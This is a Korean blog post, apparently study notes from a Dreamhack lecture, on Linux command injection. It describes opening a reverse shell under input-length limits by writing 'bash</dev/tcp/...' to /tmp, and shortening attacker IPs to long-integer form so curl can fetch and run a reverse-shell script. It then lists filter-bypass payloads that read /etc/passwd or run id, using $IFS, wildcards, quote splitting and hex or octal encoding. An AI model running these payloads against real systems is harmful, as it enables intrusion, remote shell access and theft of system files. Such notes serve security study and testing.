드림핵 강의에서 입력 값의 길이가 제한된 환경에서 활용할 수 있는 방법을 알려준다.
아래 코드는 입력 길이가 제한된 상황에서 공격자의 서버와 연결을 맺는 방법이다.
“/tmp” 디렉터리는 누구나 읽고 쓸 수 있는 권한이 존재하기 때문에
해당 위치에 “bash</dev/tcp/127.0.0.1/1234” 문자열을 삽입한다.
이후 “bash</tmp/1&” 명령어를 실행하면 앞서 생성한 파일을 Bash를 통해 실행한다.
명령어 중 숫자가 포함된 경우 Bash에서 파일 디스크립터로 인식할 수 있기 때문에 띄어쓰기를 삽입해야 한다.
IP 주소의 길이를 짧게 하기 위한 방법으로는 짧은 길이의 도메인을 사용하거나
IP 형식을 long 자료형 형식으로 변환하는 것이다.
long 형식으로 변환된 IP 주소는 다양한 애플리케이션에서도 해석이 가능하며
이를 이용해 기능도 정상적으로 수행할 수 있다.
#!/usr/bin/python3
import ipaddress
int(ipaddress.IPv4Address("127.0.0.1")) # 2130706433
네트워크 도구를 이용한 리버스 셸 공격이 가능하다.
curl 또는 wget은 앞서 변환된 long 형식의 IP 주소를 해석한다.
공격 대상 서버에서 curl을 통해 공격자 웹 서버에 리버스 셸을 실행하는 스크립트를 받아오고
이를 실행하면 셸을 획득할 수 있다.
Figure19과 같이 공격자 웹 서버에 리버스 셸을 실행하는 스크립트를 미리 업로드한다.
이후 Figure20처럼 공격 대상 서버에서 curl을 실행하되
공격자 서버의 IP를 long 형식으로 변환한 값을 인자로 전달한다.
두 과정을 모두 마치면
공격자 서버에서 미리 열어둔 포트에서 공격 대상 서버에 명령어를 전송할 수 있다.
Command Injection 취약점이 발생해도 입력 값에 특수 문자를 삽입하지 못할 경우에는 익스플로잇이 불가능할 수 있다.
이처럼 특수 문자를 사용하지 못할 때에는 셸에서 제공하는 기능이나 환경 변수를 이용해 우회할 수 있다.
공백 문자를 필터링 할 경우 아래와 같은 방법으로 우회할 수 있다.
cat${IFS}/etc/passwd
cat$IFS/etc/passwd
X=$'\x20';cat${X}/etc/passwd
X=$'\040';cat${X}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
cat 문자열을 필터링 할 경우 아래와 같은 방법으로 우회할 수 있다.
/bin/c?t /etc/passwd
/bin/ca* /etc/passwd
c''a""t /etc/passwd
\c\a\t /etc/passwd
c${invalid_variable}a${XX}t /etc/passwd
id 문자열을 필터링 할 경우 아래와 같은 방법으로 우회할 수 있다.
echo -e "\x69\x64" | sh
echo $'\151\144'| sh
X=$'\x69\x64'; sh -c $X
/etc/passwd 문자열을 필터링 할 경우 아래와 같은 방법으로 우회할 수 있다.
cat `xxd -r -p <<< 2f6574632f706173737764`
'background > web' 카테고리의 다른 글
SQL Injection Tips (2) | 2023.02.18 |
---|---|
Command Injection for PHP (0) | 2022.11.28 |
Command Injection for Linux (1) (0) | 2022.11.26 |
[NoSQL] Redis DBMS (0) | 2022.11.24 |
[NoSQL] CouchDB (0) | 2022.11.24 |